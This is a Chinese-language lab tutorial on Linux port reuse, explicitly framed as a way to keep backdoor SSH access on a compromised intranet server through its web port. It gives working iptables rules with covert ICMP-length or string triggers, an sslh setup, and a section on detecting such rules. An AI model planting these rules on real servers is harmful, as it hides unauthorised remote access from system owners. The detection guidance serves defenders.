1.端口复用的概念

我们先来看看端口复用的一些概念:

定义:端口复用是指不同的应用程序使用相同端口进行通讯。
场景:内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

说白了就是我们攻陷的服务器处于内网,而其只部署了80端口的web服务可以被我们访问,我们要想留下后门随时回来,就需要将其他的服务特别是ssh这个服务想办法绑定到80端口上去。于是就需要实现端口复用。

本文介绍两种linux下常用的端口复用方式。

2.基于iptables的端口复用

2.0 前置概念

2.0.1 iptables自定义链

了解过iptables的人都清楚iptables有它自己的五链四表支撑其正常的功能。那么当规则过多时,管理起来就十分的麻烦了,于是程序为我们提供了自定义链这样的扩展规则集合。但是要注意的是,自定义链并不能直接使用,而是需要被默认链引用才能够使用,即默认生效的还是默认的五条链,而自定义链必须在某条默认链的某个规则里设置target为自定义链,然后才会被引用。

及就是说,在部署完毕后,我们需要在五链中对其进行引用,以达到相应的过滤目的。

示例:
创建一条名叫“IN_WEB”的自定义链:

iptables -N IN_WEB
Chain IN_WEB (0 references)
target     prot opt source               destination

我们可以看到有“0 references”这个字样,reference是“引用”的意思,“0 references”表示引用计数为0,“引用”就是前面说的“自定义链必须在某条默认链的某个规则里设置target为自定义链,然后才会被引用”。

创建一条引用“IN_WEB”链的规则(所谓的引用就是用-j跳转到该规则里):

iptables -I INPUT -p tcp --dport 80 -j IN_WEB

此时我们再用iptables -L查看,可以看到“引用计数”已经是1了:

Chain IN_WEB (1 references)
target     prot opt source               destination

修改自定义链名称(把名为IN_WEB的自定义链的名称改为WEB,-E是edit的意思):

iptables -E IN_WEB WEB

能修改肯定也能删除,但删除是有条件的:

1、自定义链没有被任何默认链引用,即自定义链的引用计数为0
2、自定义链中没有任何规则,即自定义链为空。

删除名为IN_WEB的自定义链:

iptables -X IN_WEB

2.0.2 iptables recent模块使用

recent常用参数:

–name 设定列表名称,即设置跟踪数据库的文件名. 默认DEFAULT;
–rsource 源地址,此为默认。 只进行数据库中信息的匹配,并不会对已存在的数据做任何变更操作;
–rdest 目的地址;
–seconds 指定时间内. 当事件发生时,只会匹配数据库中前"几秒"内的记录,–seconds必须与–rcheck或–update参数共用;
–hitcount 命中次数. hits匹配重复发生次数,必须与–rcheck或–update参数共用;
–set 将地址添加进列表,并更新信息,包含地址加入的时间戳。 即将符合条件的来源数据添加到数据库中,但如果来源端数据已经存在,则更新数据库中的记录信息;
–rcheck 检查地址是否在列表,以第一个匹配开始计算时间;
–update 和rcheck类似,以最后一个匹配计算时间。 如果来源端的数据已存在,则将其更新;若不存在,则不做任何处理;
–remove 在列表里删除相应地址,后跟列表名称及地址。如果来源端数据已存在,则将其删除,若不存在,则不做任何处理;

recent模块需要注意的地方:

a) 目录/proc/net/下的xt_recent目录是在启用recent模块之后才有的,如果没有在iptables中使用recent模块,/proc/net/目录中是没有xt_recent目录的;
b) 因recent模块最多只能记录20条记录,所以当源发送的数据包超过20后,recent模块的计数器会立刻减掉20,这也就是为什么old_packets的值就总是处于1-20之间;
c) 如果配合seconds参数使用的是–rcheck参数而不是–update,则recent模块会从收到第一个数据包开始计算阻断时间,而–update是从收到的最后一个数据包开始计算阻断时间,即如果服务器在8点收到了源发出第一个icmp数据包,在8点15分收到源发出的第20个数据包,如果使用的是–rcheck参数,那么8点半的时候,用户就又可以发送icmp数据包了,如果使用是–update参数,则用户必须等到8点40才能发送icmp数据包;
d) 当源发送数据包的个数大于或等于recent模块的hitcount参数所指定的值时,相应的iptables规则才会被激活;

recent命令大体有如下三个排列组合:

–set句在前,–update(或–rcheck)句在后;
–update(或–rcheck)句在前,–set句在后;
–set 带或不带-j ACCEPT。
基本是上面这三项的排列组合;

参考原文

2.1 利用ICMP充当开关的端口复用

1.创建端口复用链

iptables -t nat -N LETMEIN

2.添加端口复用规则到复用链内部,将流量转发至 22 端口

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

3.创建开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到名字为letmein的列表中

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT

4.创建关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

5.如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

6.测试连接

#开启复用
ping -c 1 -s 1111 192.168.2.169
#向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)

#关闭复用
ping -c 1 -s 1112 192.168.2.169
#向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)

效果:

#1.开启端口
┌──(root????kali)-[~]
└─# ping -c 1 -s 1111 192.168.2.169    
┌──(root????kali)-[~]
└─# ssh -p80 batman@192.168.2.169
The authenticity of host '[192.168.2.169]:80 ([192.168.2.169]:80)' can't be established.
ED25519 key fingerprint is SHA256:B3xqSHgdumdWZXv/sZOkPyoWpPUHndwU4N3oXi59Ew8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.169]:80' (ED25519) to the list of known hosts.
batman@192.168.2.169's password:
Last login: Wed Jan 11 06:18:30 2023 from 192.168.2.1
[batman@blackstone ~]$ ip a

#2.测试访问web页面
┌──(root????kali)-[~]
└─# curl  192.168.2.169                                                                                                                                            1 ⨯
curl: (1) Received HTTP/0.9 when not allowed

#3.关闭端口后再次测试
┌──(root????kali)-[~]
└─# ping -c 1 -s 1112 192.168.2.169                                                                                                                                1 ⨯
PING 192.168.2.169 (192.168.2.169) 1112(1140) bytes of data.
1120 bytes from 192.168.2.169: icmp_seq=1 ttl=64 time=0.804 ms

--- 192.168.2.169 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.804/0.804/0.804/0.000 ms

┌──(root????kali)-[~]
└─# curl  192.168.2.169
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" type="text/css" href="index.css">
    <title>aaa</title>
</head>

<body>
    <h1 id="1">this is nginx test page</h1>
</body>

</html>  

总结:

Q1:利用思路是什么?
A1:利用思路就是新建了一个nat自定义链,在此链内部,将80端口的数据转发给22端口,同时添加了开关控制的三条规则,利用了recent模块对来源IP进行筛选,开关控制来源IP是否写入letmein列表中。而再利用recent的rcheck选项检测来源IP是否在列表里,在的话允许其连接3600秒(进行1小时的转发)

Q2:为什么要在ping命令的选项里少些28个字节?
A2:因为-s选项指定的只是icmp内容的大小,IP头为20byte的情况下,ICMPrequest报文头部长度为8byte。总计28byte

Q3:这样的解决方案有什么缺陷呢?
A3:通常情况下,这类做了端口镜像的服务器,是只开放80端口的,也就是说icmp报文不能从外网进入内网进行访问。我们只能发送80端口的信息给服务器。

2.2 使用string扩展添加标识当开关的端口复用

1.添加端口复用链

iptables -t nat -N LETMEIN

2.端口复用规则

iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

3.开关写入

#开启开关
iptables -A INPUT -p tcp -m string --string 'openthedoor' --algo bm -m recent --set --name letmein --rsource -j ACCEPT

#关闭开关
iptables -A INPUT -p tcp -m string --string 'closethedoor' --algo bm -m recent --name letmein --remove -j ACCEPT

4.写入检测规则

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

5.测试

#1.打开开关
┌──(root????kali)-[~]
└─# echo openthedoor | socat - tcp:192.168.2.169:80                                                                                                              255 ⨯
HTTP/1.1 400 Bad Request
Server: nginx/1.20.2
Date: Wed, 11 Jan 2023 12:22:39 GMT
Content-Type: text/html
Content-Length: 157
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.20.2</center>
</body>
</html>

┌──(root????kali)-[~]
└─# ssh -p80 batman@192.168.2.169
batman@192.168.2.169's password:
Last login: Wed Jan 11 07:21:02 2023 from 192.168.2.159
[batman@blackstone ~]$ exit
logout
Connection to 192.168.2.169 closed.
#2.查看被连接主机的letmein数据库
[root@blackstone xt_recent]# pwd
/proc/net/xt_recent
[root@blackstone xt_recent]# cat letmein
src=192.168.2.159 ttl: 64 last_seen: 4458146827 oldest_pkt: 1 4458146827

#3.关闭连接
┌──(root????kali)-[~]
└─# echo closethedoor | socat - tcp:192.168.2.169:80
SSH-2.0-OpenSSH_7.4
Protocol mismatch.

┌──(root????kali)-[~]
└─# ssh -p80 batman@192.168.2.169
kex_exchange_identification: Connection closed by remote host
Connection closed by 192.168.2.169 port 80

可以看到,基于string标识进行端口复用可以有效的规避利用icmp长度充当开关的问题。全程只使用80端口即可完成对应的端口复用开关。

2.3排查iptables端口复用

对于端口复用其有很明显的几个特征:

1.关于开关的使用,要用开关就会使用recent模块,我们可以查看recent模块的数据库目录,再反向追查开关的痕迹,一旦发现端口转发的恶劣行为第一时间就要重置防火墙策略,那么此时防火墙策略的备份就显得尤为重要了。

[root@blackstone xt_recent]# ll /proc/net/xt_recent/
total 0
-rw-r--r-- 1 root root 0 Jan 11 07:39 letmein
[root@blackstone xt_recent]# iptables -xnvL | grep letmein
       4     1053 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            STRING match  "openthedoor" ALGO name bm TO 65535 recent: SET name: letmein side: source mask: 255.255.255.255
       3      617 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            STRING match  "closethedoor" ALGO name bm TO 65535 recent: REMOVE name: letmein side: source mask: 255.255.255.255

当然过滤查看前置链中的端口转发也很重要

[root@blackstone xt_recent]# iptables -t nat -xnvL | grep REDIRECT -C6
Chain DOCKER (2 references)
    pkts      bytes target     prot opt in     out     source               destination
       0        0 RETURN     all  --  docker0 *       0.0.0.0/0            0.0.0.0/0

Chain LETMEIN (3 references)
    pkts      bytes target     prot opt in     out     source               destination
       6      352 REDIRECT   tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            redir ports 22

Chain OUTPUT_direct (1 references)
    pkts      bytes target     prot opt in     out     source               destination

Chain POSTROUTING_ZONES (1 references)
    pkts      bytes target     prot opt in     out     source               destination

2.对于ssh连接日志的查看也很重要,查看近期是否有不明来历的IP登陆。这是一个比较明显的特征。

#1.查看当前有哪些进程在使用22端口
netstat -antp | grep 22

#2.查看ssh连接日志中成功登陆的地址
[root@blackstone ~]# tac /var/log/secure | head -n 1000 | grep Accepted

3.基于sslh的端口复用

使用sslh这样一款工具同样也可以实现我们的端口复用,但是缺点显而易见,它需要在目标主机上安装一个软件并且对其web服务的配置文件进行一定程度的修改。会增加暴露风险,但也不失为一种解决方案。我们尝试对其进行安装测试

3.1 sslh的安装

#1.在 Debian、Ubuntu 及其衍生品上运行:
apt-get install sslh

#2. Arch Linux 和 Antergos、Manjaro Linux 等衍生品
pacman -S sslh

#3.在RHEL,CENTOS上需要安装epel扩展存储库,如果还是安装不上就需要进行源码编译
yum install epel-release
yum install sslh

#4.Fedora
dnf install sslh

安装 SSLH 时,将提示你是要将 sslh 作为从 inetd 运行的服务,还是作为独立服务器运行。每种选择都有其自身的优点。如果每天只有少量连接,最好从 inetd 运行 sslh 以节省资源。另一方面,如果有很多连接,sslh 应作为独立服务器运行,以避免为每个传入连接生成新进程。

3.2 配置 Apache 或 Nginx Web 服务器

Apache 和 Nginx Web 服务器默认会监听所有网络接口(即 0.0.0.0:443)。我们需要更改此设置以告知 Web 服务器仅侦听 localhost 接口(即 127.0.0.1:443 或 localhost:443)。

我们需要在配置文件中将监听的端口修改为如下(以apache为例):

#vim /etc/httpd/conf/httpd.conf
listen 80;
#修改为
listen 127.0.0.1:80;

保存并关闭配置文件。不要重新启动该服务。进行下一步配置
在这里插入图片描述

3.3 配置 sslh

使 Web 服务器仅在本地接口上侦听后,编辑 SSLH 配置文件:

#1.编辑配置文件
[root@blackstone default]# cat /etc/sslh.cfg
# This is a basic configuration file that should provide
# sensible values for "standard" setup.

verbose: false;
foreground: true;
inetd: false;
numeric: false;
transparent: false;
timeout: 2;
user: "sslh";


# Change hostname with your external address name.
listen:
(
    { host: "192.168.2.169"; port: "80"; }
);

protocols:
(
     { name: "ssh"; service: "ssh"; host: "localhost"; port: "22"; fork: true; },
   #  { name: "openvpn"; host: "localhost"; port: "1194"; },
   #  { name: "xmpp"; host: "localhost"; port: "5222"; },
     { name: "http"; host: "localhost"; port: "80"; }
    # { name: "ssl"; host: "localhost"; port: "443"; log_level: 0; },
    # { name: "anyprot"; host: "localhost"; port: "443"; }
);

#注意listen里面写的是监听端口,必须同步到访问的地址,protocls里面写的就是转发目标,此处仅使用了80端口和22端口,注意括号内最后一组花括号末尾无逗号否则会报错。


#2.启动服务
[root@blackstone default]# sslh -F/etc/sslh.cfg

3.4 测试

远程连接:

┌──(root????kali)-[~]
└─# ssh -p80 batman@192.168.2.169                                                                                                                                255 ⨯
batman@192.168.2.169's password:
Last login: Wed Jan 11 07:22:49 2023 from 192.168.2.159
[batman@blackstone ~]$
[batman@blackstone ~]$
[batman@blackstone ~]$ exit
logout
Connection to 192.168.2.169 closed.

web服务:

iptables实现端口复用-小白菜博客
本机状态:

[root@blackstone default]# sslh -F/etc/sslh.cfg
sslh-fork 4ae2e62d25b9faf984a303c4bdf2b7675f4988b9 started
ssh:connection from 192.168.2.159:58810 to blackstone:http forwarded from localhost:38574 to localhost:ssh
forward to http failed:connect: Connection refused
http:connection from 192.168.2.1:ecnp to blackstone:http forwarded from localhost:48736 to localhost:http
forward to http failed:connect: Connection refused
forward to http failed:connect: Connection refused
http:connection from 192.168.2.1:activememory to blackstone:http forwarded from localhost:48740 to localhost:http
http:connection from 192.168.2.1:dialpad-voice1 to blackstone:http forwarded from localhost:48744 to localhost:http

到此,sslh便测试完毕。